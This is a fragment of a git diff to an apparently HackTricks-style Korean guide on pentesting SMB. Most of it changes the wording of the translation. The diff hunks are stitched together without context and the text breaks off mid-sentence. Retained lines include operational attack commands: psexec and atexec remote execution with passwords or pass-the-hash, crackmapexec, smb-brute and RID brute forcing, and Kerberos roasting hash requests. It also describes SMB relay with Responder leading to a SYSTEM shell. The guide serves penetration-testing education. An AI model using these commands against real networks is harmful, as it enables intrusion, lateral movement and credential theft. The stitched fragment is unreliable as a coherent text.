[**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) -๋‘ ์˜ต์…˜์€ **์ƒˆ ์„œ๋น„์Šค๋ฅผ ์ƒ์„ฑ**ํ•ฉ๋‹ˆ๋‹ค (_\pipe\svcctl_์„ ์‚ฌ์šฉํ•˜์—ฌ SMB๋ฅผ ํ†ตํ•ด) ํ”ผํ•ด์ž ๋จธ์‹ ์—์„œ ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰**ํ•ฉ๋‹ˆ๋‹ค (**psexec**๋Š” **์‹คํ–‰ ํŒŒ์ผ์„ ADMIN$ ๊ณต์œ ์— ์—…๋กœ๋“œ**ํ•˜๊ณ  **smbexec**๋Š” **cmd.exe/powershell.exe**๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฉฐ ์ธ์ˆ˜๋กœ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋„ฃ์Šต๋‹ˆ๋‹ค --**ํŒŒ์ผ ์—†๋Š” ๊ธฐ๋ฒ•-**-).\ -**์ž์„ธํ•œ ์ •๋ณด**๋Š” [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)์™€ [**smbexec**](../windows-hardening/ntlm/smbexec.md)๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.\ +๋‘ ์˜ต์…˜์€ **์ƒˆ ์„œ๋น„์Šค๋ฅผ ์ƒ์„ฑ**ํ•ฉ๋‹ˆ๋‹ค (_\pipe\svcctl_์„ ์‚ฌ์šฉํ•˜์—ฌ SMB๋ฅผ ํ†ตํ•ด) ํ”ผํ•ด์ž ๋จธ์‹ ์—์„œ ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰**ํ•ฉ๋‹ˆ๋‹ค (**psexec**๋Š” **์‹คํ–‰ ํŒŒ์ผ์„ ADMIN$ ๊ณต์œ ์— ์—…๋กœ๋“œ**ํ•˜๊ณ  **smbexec**๋Š” **cmd.exe/powershell.exe**๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฉฐ ์ธ์ˆ˜์— ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋„ฃ์Šต๋‹ˆ๋‹ค --**ํŒŒ์ผ ์—†๋Š” ๊ธฐ๋ฒ•-**-).\ +**์ž์„ธํ•œ ์ •๋ณด**๋Š” [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)์™€ [**smbexec**](../windows-hardening/ntlm/smbexec.md)๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.\ **kali**์—์„œ๋Š” /usr/share/doc/python3-impacket/examples/์— ์œ„์น˜ํ•ด ์žˆ์Šต๋‹ˆ๋‹ค. ```bash #If no password is provided, it will be prompted @@ -388,7 +388,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -**๋งค๊ฐœ๋ณ€์ˆ˜**`-k`๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด **kerberos**์— ๋Œ€ํ•ด ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค **NTLM** ๋Œ€์‹ . +**๋งค๊ฐœ๋ณ€์ˆ˜**`-k`๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด **NTLM** ๋Œ€์‹  **kerberos**์— ๋Œ€ํ•ด ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec @@ -415,20 +415,20 @@ SMB๋ฅผ ํ†ตํ•ด ์ž‘์—… ์Šค์ผ€์ค„๋Ÿฌ๋ฅผ ํ†ตํ•ด ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค (_\pipe\at ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` -## Impacket ์ฐธ์กฐ +## Impacket reference [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) ## **์‚ฌ์šฉ์ž ์ž๊ฒฉ ์ฆ๋ช… ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…** -**์ด๋Š” ๊ถŒ์žฅ๋˜์ง€ ์•Š์œผ๋ฉฐ, ํ—ˆ์šฉ๋œ ์ตœ๋Œ€ ์‹œ๋„๋ฅผ ์ดˆ๊ณผํ•˜๋ฉด ๊ณ„์ •์ด ์ฐจ๋‹จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** +**์ด๊ฒƒ์€ ๊ถŒ์žฅ๋˜์ง€ ์•Š์œผ๋ฉฐ, ํ—ˆ์šฉ๋œ ์ตœ๋Œ€ ์‹œ๋„๋ฅผ ์ดˆ๊ณผํ•˜๋ฉด ๊ณ„์ •์ด ์ฐจ๋‹จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB ๋ฆด๋ ˆ์ด ๊ณต๊ฒฉ -์ด ๊ณต๊ฒฉ์€ Responder ํˆดํ‚ท์„ ์‚ฌ์šฉํ•˜์—ฌ **๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ์—์„œ SMB ์ธ์ฆ ์„ธ์…˜์„ ์บก์ฒ˜**ํ•˜๊ณ , ์ด๋ฅผ **๋Œ€์ƒ ๋จธ์‹ **์œผ๋กœ **์ค‘๊ณ„**ํ•ฉ๋‹ˆ๋‹ค. ์ธ์ฆ **์„ธ์…˜์ด ์„ฑ๊ณตํ•˜๋ฉด**, ์ž๋™์œผ๋กœ **์‹œ์Šคํ…œ** **์…ธ**๋กœ ์ง„์ž…ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.\ +์ด ๊ณต๊ฒฉ์€ Responder ํˆดํ‚ท์„ ์‚ฌ์šฉํ•˜์—ฌ **๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ์—์„œ SMB ์ธ์ฆ ์„ธ์…˜์„ ์บก์ฒ˜**ํ•˜๊ณ , ์ด๋ฅผ **๋Œ€์ƒ ๋จธ์‹ **์œผ๋กœ **๋ฆด๋ ˆ์ด**ํ•ฉ๋‹ˆ๋‹ค. ์ธ์ฆ **์„ธ์…˜์ด ์„ฑ๊ณตํ•˜๋ฉด**, ์ž๋™์œผ๋กœ **์‹œ์Šคํ…œ** **์…ธ**๋กœ ์ง„์ž…ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.\ [**์ด ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•˜์„ธ์š”.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap @@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request -https://book.hacktricks.xyz/pentesting/pentesting-smb +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html Entry_2: Name: Enum4Linux diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 72645c436..dbf0ff9f1 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,27 +4,27 @@ ## **Port 139** -_**๋„คํŠธ์›Œํฌ ๊ธฐ๋ณธ ์ž…์ถœ๋ ฅ ์‹œ์Šคํ…œ**_\*\* (NetBIOS)\*\*๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜, PC ๋ฐ ๋ฐ์Šคํฌํƒ‘์ด ๋กœ์ปฌ ์˜์—ญ ๋„คํŠธ์›Œํฌ (LAN) ๋‚ด์—์„œ ๋„คํŠธ์›Œํฌ ํ•˜๋“œ์›จ์–ด์™€ ์ƒํ˜ธ ์ž‘์šฉํ•˜๊ณ  **๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•œ ๋ฐ์ดํ„ฐ ์ „์†ก์„ ์šฉ์ดํ•˜๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋œ ์†Œํ”„ํŠธ์›จ์–ด ํ”„๋กœํ† ์ฝœ**์ž…๋‹ˆ๋‹ค. NetBIOS ๋„คํŠธ์›Œํฌ์—์„œ ์ž‘๋™ํ•˜๋Š” ์†Œํ”„ํŠธ์›จ์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์‹๋ณ„ ๋ฐ ์œ„์น˜๋Š” ์ตœ๋Œ€ 16์ž ๊ธธ์ด์˜ NetBIOS ์ด๋ฆ„์„ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง€๋ฉฐ, ์ด๋Š” ์ข…์ข… ์ปดํ“จํ„ฐ ์ด๋ฆ„๊ณผ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ๋‘ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ฐ„์˜ NetBIOS ์„ธ์…˜์€ ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(ํด๋ผ์ด์–ธํŠธ ์—ญํ• )์ด **TCP ํฌํŠธ 139**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(์„œ๋ฒ„ ์—ญํ• )์„ "ํ˜ธ์ถœ"ํ•˜๋Š” ๋ช…๋ น์„ ๋ฐœํ–‰ํ•  ๋•Œ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค. +_**๋„คํŠธ์›Œํฌ ๊ธฐ๋ณธ ์ž…์ถœ๋ ฅ ์‹œ์Šคํ…œ**_\*\* (NetBIOS)\*\*๋Š” ๋กœ์ปฌ ์˜์—ญ ๋„คํŠธ์›Œํฌ (LAN) ๋‚ด์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜, PC ๋ฐ ๋ฐ์Šคํฌํƒ‘์ด ๋„คํŠธ์›Œํฌ ํ•˜๋“œ์›จ์–ด์™€ ์ƒํ˜ธ ์ž‘์šฉํ•˜๊ณ  **๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•œ ๋ฐ์ดํ„ฐ ์ „์†ก์„ ์šฉ์ดํ•˜๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋œ ์†Œํ”„ํŠธ์›จ์–ด ํ”„๋กœํ† ์ฝœ**์ž…๋‹ˆ๋‹ค. NetBIOS ๋„คํŠธ์›Œํฌ์—์„œ ์ž‘๋™ํ•˜๋Š” ์†Œํ”„ํŠธ์›จ์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์‹๋ณ„ ๋ฐ ์œ„์น˜๋Š” ์ตœ๋Œ€ 16์ž ๊ธธ์ด์˜ NetBIOS ์ด๋ฆ„์„ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง€๋ฉฐ, ์ด๋Š” ์ข…์ข… ์ปดํ“จํ„ฐ ์ด๋ฆ„๊ณผ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ๋‘ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ฐ„์˜ NetBIOS ์„ธ์…˜์€ ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(ํด๋ผ์ด์–ธํŠธ ์—ญํ• )์ด **TCP ํฌํŠธ 139**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(์„œ๋ฒ„ ์—ญํ• )์„ "ํ˜ธ์ถœ"ํ•˜๋Š” ๋ช…๋ น์„ ๋ฐœํ–‰ํ•  ๋•Œ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -๊ธฐ์ˆ ์ ์œผ๋กœ, ํฌํŠธ 139๋Š” โ€˜NBT over IPโ€™๋กœ ์–ธ๊ธ‰๋˜๋ฉฐ, ํฌํŠธ 445๋Š” โ€˜SMB over IPโ€™๋กœ ์‹๋ณ„๋ฉ๋‹ˆ๋‹ค. ์•ฝ์–ด **SMB**๋Š” โ€˜**Server Message Blocks**โ€™๋ฅผ ์˜๋ฏธํ•˜๋ฉฐ, ํ˜„๋Œ€์ ์œผ๋กœ๋Š” **Common Internet File System (CIFS)**๋กœ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ณ„์ธต ๋„คํŠธ์›Œํฌ ํ”„๋กœํ† ์ฝœ๋กœ์„œ, SMB/CIFS๋Š” ์ฃผ๋กœ ํŒŒ์ผ, ํ”„๋ฆฐํ„ฐ, ์ง๋ ฌ ํฌํŠธ์— ๋Œ€ํ•œ ๊ณต์œ  ์•ก์„ธ์Šค๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๊ณ , ๋„คํŠธ์›Œํฌ์˜ ๋…ธ๋“œ ๊ฐ„ ๋‹ค์–‘ํ•œ ํ˜•ํƒœ์˜ ํ†ต์‹ ์„ ์ด‰์ง„ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. +๊ธฐ์ˆ ์ ์œผ๋กœ, Port 139์€ โ€˜NBT over IPโ€™๋กœ ์–ธ๊ธ‰๋˜๋ฉฐ, Port 445๋Š” โ€˜SMB over IPโ€™๋กœ ์‹๋ณ„๋ฉ๋‹ˆ๋‹ค. ์•ฝ์–ด **SMB**๋Š” โ€˜**Server Message Blocks**โ€™๋ฅผ ์˜๋ฏธํ•˜๋ฉฐ, ํ˜„๋Œ€์ ์œผ๋กœ๋Š” **Common Internet File System (CIFS)**๋กœ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ณ„์ธต ๋„คํŠธ์›Œํฌ ํ”„๋กœํ† ์ฝœ๋กœ์„œ, SMB/CIFS๋Š” ์ฃผ๋กœ ํŒŒ์ผ, ํ”„๋ฆฐํ„ฐ, ์ง๋ ฌ ํฌํŠธ์— ๋Œ€ํ•œ ๊ณต์œ  ์•ก์„ธ์Šค๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๊ณ , ๋„คํŠธ์›Œํฌ์˜ ๋…ธ๋“œ ๊ฐ„ ๋‹ค์–‘ํ•œ ํ˜•ํƒœ์˜ ํ†ต์‹ ์„ ์ด‰์ง„ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. -์˜ˆ๋ฅผ ๋“ค์–ด, Windows์˜ ๋งฅ๋ฝ์—์„œ SMB๋Š” TCP/IP๋ฅผ ํ†ตํ•ด ์ง์ ‘ ์ž‘๋™ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํฌํŠธ 445๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ TCP/IP๋ฅผ ํ†ตํ•œ NetBIOS์˜ ํ•„์š”์„ฑ์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋Œ€๋กœ, ๋‹ค๋ฅธ ์‹œ์Šคํ…œ์—์„œ๋Š” ํฌํŠธ 139์˜ ์‚ฌ์šฉ์ด ๊ด€์ฐฐ๋˜๋ฉฐ, ์ด๋Š” SMB๊ฐ€ TCP/IP๋ฅผ ํ†ตํ•œ NetBIOS์™€ ํ•จ๊ป˜ ์‹คํ–‰๋˜๊ณ  ์žˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. +์˜ˆ๋ฅผ ๋“ค์–ด, Windows์˜ ๋งฅ๋ฝ์—์„œ SMB๋Š” TCP/IP๋ฅผ ํ†ตํ•ด ์ง์ ‘ ์ž‘๋™ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” port 445๋ฅผ ํ™œ์šฉํ•˜์—ฌ TCP/IP๋ฅผ ํ†ตํ•œ NetBIOS์˜ ํ•„์š”์„ฑ์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋Œ€๋กœ, ๋‹ค๋ฅธ ์‹œ์Šคํ…œ์—์„œ๋Š” port 139์˜ ์‚ฌ์šฉ์ด ๊ด€์ฐฐ๋˜๋ฉฐ, ์ด๋Š” SMB๊ฐ€ TCP/IP๋ฅผ ํ†ตํ•œ NetBIOS์™€ ํ•จ๊ป˜ ์‹คํ–‰๋˜๊ณ  ์žˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -**์„œ๋ฒ„ ๋ฉ”์‹œ์ง€ ๋ธ”๋ก (SMB)** ํ”„๋กœํ† ์ฝœ์€ **ํด๋ผ์ด์–ธํŠธ-์„œ๋ฒ„** ๋ชจ๋ธ์—์„œ ์ž‘๋™ํ•˜๋ฉฐ, **ํŒŒ์ผ**, ๋””๋ ‰ํ† ๋ฆฌ ๋ฐ ํ”„๋ฆฐํ„ฐ, ๋ผ์šฐํ„ฐ์™€ ๊ฐ™์€ ๊ธฐํƒ€ ๋„คํŠธ์›Œํฌ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ **์ ‘๊ทผ**์„ ๊ทœ์ œํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ฃผ๋กœ **Windows** ์šด์˜ ์ฒด์ œ ์‹œ๋ฆฌ์ฆˆ ๋‚ด์—์„œ ์‚ฌ์šฉ๋˜๋ฉฐ, SMB๋Š” ํ•˜์œ„ ํ˜ธํ™˜์„ฑ์„ ๋ณด์žฅํ•˜์—ฌ Microsoft์˜ ์šด์˜ ์ฒด์ œ์˜ ์ตœ์‹  ๋ฒ„์ „์„ ์‚ฌ์šฉํ•˜๋Š” ์žฅ์น˜๊ฐ€ ์ด์ „ ๋ฒ„์ „์„ ์‹คํ–‰ํ•˜๋Š” ์žฅ์น˜์™€ ์›ํ™œํ•˜๊ฒŒ ์ƒํ˜ธ ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, **Samba** ํ”„๋กœ์ ํŠธ๋Š” SMB๋ฅผ **Linux** ๋ฐ Unix ์‹œ์Šคํ…œ์—์„œ ๊ตฌํ˜„ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฌด๋ฃŒ ์†Œํ”„ํŠธ์›จ์–ด ์†”๋ฃจ์…˜์„ ์ œ๊ณตํ•˜์—ฌ SMB๋ฅผ ํ†ตํ•œ ํฌ๋กœ์Šค ํ”Œ๋žซํผ ํ†ต์‹ ์„ ์ด‰์ง„ํ•ฉ๋‹ˆ๋‹ค. +**์„œ๋ฒ„ ๋ฉ”์‹œ์ง€ ๋ธ”๋ก (SMB)** ํ”„๋กœํ† ์ฝœ์€ **ํด๋ผ์ด์–ธํŠธ-์„œ๋ฒ„** ๋ชจ๋ธ์—์„œ ์ž‘๋™ํ•˜๋ฉฐ, **ํŒŒ์ผ**, ๋””๋ ‰ํ† ๋ฆฌ ๋ฐ ํ”„๋ฆฐํ„ฐ์™€ ๋ผ์šฐํ„ฐ์™€ ๊ฐ™์€ ๊ธฐํƒ€ ๋„คํŠธ์›Œํฌ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ **์ ‘๊ทผ**์„ ๊ทœ์ œํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ฃผ๋กœ **Windows** ์šด์˜ ์ฒด์ œ ์‹œ๋ฆฌ์ฆˆ ๋‚ด์—์„œ ์‚ฌ์šฉ๋˜๋ฉฐ, SMB๋Š” ํ•˜์œ„ ํ˜ธํ™˜์„ฑ์„ ๋ณด์žฅํ•˜์—ฌ Microsoft์˜ ์šด์˜ ์ฒด์ œ์˜ ์ตœ์‹  ๋ฒ„์ „์„ ์‹คํ–‰ํ•˜๋Š” ์žฅ์น˜๊ฐ€ ์ด์ „ ๋ฒ„์ „์„ ์‹คํ–‰ํ•˜๋Š” ์žฅ์น˜์™€ ์›ํ™œํ•˜๊ฒŒ ์ƒํ˜ธ ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, **Samba** ํ”„๋กœ์ ํŠธ๋Š” SMB์˜ ๊ตฌํ˜„์„ **Linux** ๋ฐ Unix ์‹œ์Šคํ…œ์—์„œ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋Š” ๋ฌด๋ฃŒ ์†Œํ”„ํŠธ์›จ์–ด ์†”๋ฃจ์…˜์„ ์ œ๊ณตํ•˜์—ฌ SMB๋ฅผ ํ†ตํ•œ ํฌ๋กœ์Šค ํ”Œ๋žซํผ ํ†ต์‹ ์„ ์ด‰์ง„ํ•ฉ๋‹ˆ๋‹ค. -SMB ์„œ๋ฒ„๋Š” **๋กœ์ปฌ ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ ์ž„์˜ ๋ถ€๋ถ„**์„ ๋‚˜ํƒ€๋‚ด๋Š” ๊ณต์œ ๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ํด๋ผ์ด์–ธํŠธ๋Š” ์„œ๋ฒ„์˜ ์‹ค์ œ ๊ตฌ์กฐ์™€ ๋ถ€๋ถ„์ ์œผ๋กœ **๋…๋ฆฝ์ ์ธ** ๊ณ„์ธต ๊ตฌ์กฐ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **์ ‘๊ทผ ์ œ์–ด ๋ชฉ๋ก (ACLs)**์€ **์ ‘๊ทผ ๊ถŒํ•œ**์„ ์ •์˜ํ•˜๋ฉฐ, **`execute`**, **`read`**, **`full access`**์™€ ๊ฐ™์€ ์†์„ฑ์„ ํฌํ•จํ•˜์—ฌ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์— ๋Œ€ํ•œ **์„ธ๋ฐ€ํ•œ ์ œ์–ด**๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์€ ๊ณต์œ ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ๊ฐœ๋ณ„ ์‚ฌ์šฉ์ž ๋˜๋Š” ๊ทธ๋ฃน์— ํ• ๋‹น๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์„œ๋ฒ„์—์„œ ์„ค์ •๋œ ๋กœ์ปฌ ๊ถŒํ•œ๊ณผ๋Š” ๊ตฌ๋ณ„๋ฉ๋‹ˆ๋‹ค. +SMB ์„œ๋ฒ„๋Š” **๋กœ์ปฌ ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ ์ž„์˜ ๋ถ€๋ถ„**์„ ๋‚˜ํƒ€๋‚ด๋Š” ๊ณต์œ ๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ์„œ๋ฒ„์˜ ์‹ค์ œ ๊ตฌ์กฐ์™€ ๋ถ€๋ถ„์ ์œผ๋กœ **๋…๋ฆฝ์ ์ธ** ๊ณ„์ธต์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. **์ ‘๊ทผ ์ œ์–ด ๋ชฉ๋ก (ACLs)**์€ **์ ‘๊ทผ ๊ถŒํ•œ**์„ ์ •์˜ํ•˜๋ฉฐ, **`execute`**, **`read`**, **`full access`**์™€ ๊ฐ™์€ ์†์„ฑ์„ ํฌํ•จํ•˜์—ฌ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์— ๋Œ€ํ•œ **์„ธ๋ฐ€ํ•œ ์ œ์–ด**๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์€ ๊ณต์œ ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ๊ฐœ๋ณ„ ์‚ฌ์šฉ์ž ๋˜๋Š” ๊ทธ๋ฃน์— ํ• ๋‹น๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์„œ๋ฒ„์—์„œ ์„ค์ •๋œ ๋กœ์ปฌ ๊ถŒํ•œ๊ณผ๋Š” ๊ตฌ๋ณ„๋ฉ๋‹ˆ๋‹ค. ### IPC$ Share -IPC$ ๊ณต์œ ์— ๋Œ€ํ•œ ์ ‘๊ทผ์€ ์ต๋ช… ๋„ ์„ธ์…˜์„ ํ†ตํ•ด ์–ป์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ๋ช…๋ช…๋œ ํŒŒ์ดํ”„๋ฅผ ํ†ตํ•ด ๋…ธ์ถœ๋œ ์„œ๋น„์Šค์™€ ์ƒํ˜ธ ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ชฉ์ ์„ ์œ„ํ•ด `enum4linux` ์œ ํ‹ธ๋ฆฌํ‹ฐ๊ฐ€ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ ์ ˆํžˆ ์‚ฌ์šฉํ•˜๋ฉด ๋‹ค์Œ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +IPC$ ๊ณต์œ ์— ๋Œ€ํ•œ ์ ‘๊ทผ์€ ์ต๋ช… ๋„ ์„ธ์…˜์„ ํ†ตํ•ด ์–ป์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋ช…๋ช…๋œ ํŒŒ์ดํ”„๋ฅผ ํ†ตํ•ด ๋…ธ์ถœ๋œ ์„œ๋น„์Šค์™€ ์ƒํ˜ธ ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ชฉ์ ์„ ์œ„ํ•ด `enum4linux` ์œ ํ‹ธ๋ฆฌํ‹ฐ๊ฐ€ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ ์ ˆํžˆ ์‚ฌ์šฉํ•˜๋ฉด ๋‹ค์Œ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: - ์šด์˜ ์ฒด์ œ์— ๋Œ€ํ•œ ์ •๋ณด - ์ƒ์œ„ ๋„๋ฉ”์ธ์— ๋Œ€ํ•œ ์„ธ๋ถ€ ์ •๋ณด @@ -32,7 +32,7 @@ IPC$ ๊ณต์œ ์— ๋Œ€ํ•œ ์ ‘๊ทผ์€ ์ต๋ช… ๋„ ์„ธ์…˜์„ ํ†ตํ•ด ์–ป์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ - ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ SMB ๊ณต์œ ์— ๋Œ€ํ•œ ์ •๋ณด - ํšจ๊ณผ์ ์ธ ์‹œ์Šคํ…œ ๋ณด์•ˆ ์ •์ฑ… -์ด ๊ธฐ๋Šฅ์€ ๋„คํŠธ์›Œํฌ ๊ด€๋ฆฌ์ž๊ฐ€ SMB (์„œ๋ฒ„ ๋ฉ”์‹œ์ง€ ๋ธ”๋ก) ์„œ๋น„์Šค์˜ ๋ณด์•ˆ ํƒœ์„ธ๋ฅผ ํ‰๊ฐ€ํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. `enum4linux`๋Š” ๋Œ€์ƒ ์‹œ์Šคํ…œ์˜ SMB ํ™˜๊ฒฝ์— ๋Œ€ํ•œ ํฌ๊ด„์ ์ธ ๋ทฐ๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ, ์ด๋Š” ์ž ์žฌ์ ์ธ ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•˜๊ณ  SMB ์„œ๋น„์Šค๊ฐ€ ์ ์ ˆํ•˜๊ฒŒ ๋ณดํ˜ธ๋˜๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. +์ด ๊ธฐ๋Šฅ์€ ๋„คํŠธ์›Œํฌ ๊ด€๋ฆฌ์ž๊ฐ€ SMB (์„œ๋ฒ„ ๋ฉ”์‹œ์ง€ ๋ธ”๋ก) ์„œ๋น„์Šค์˜ ๋ณด์•ˆ ํƒœ์„ธ๋ฅผ ํ‰๊ฐ€ํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. `enum4linux`๋Š” ๋Œ€์ƒ ์‹œ์Šคํ…œ์˜ SMB ํ™˜๊ฒฝ์— ๋Œ€ํ•œ ํฌ๊ด„์ ์ธ 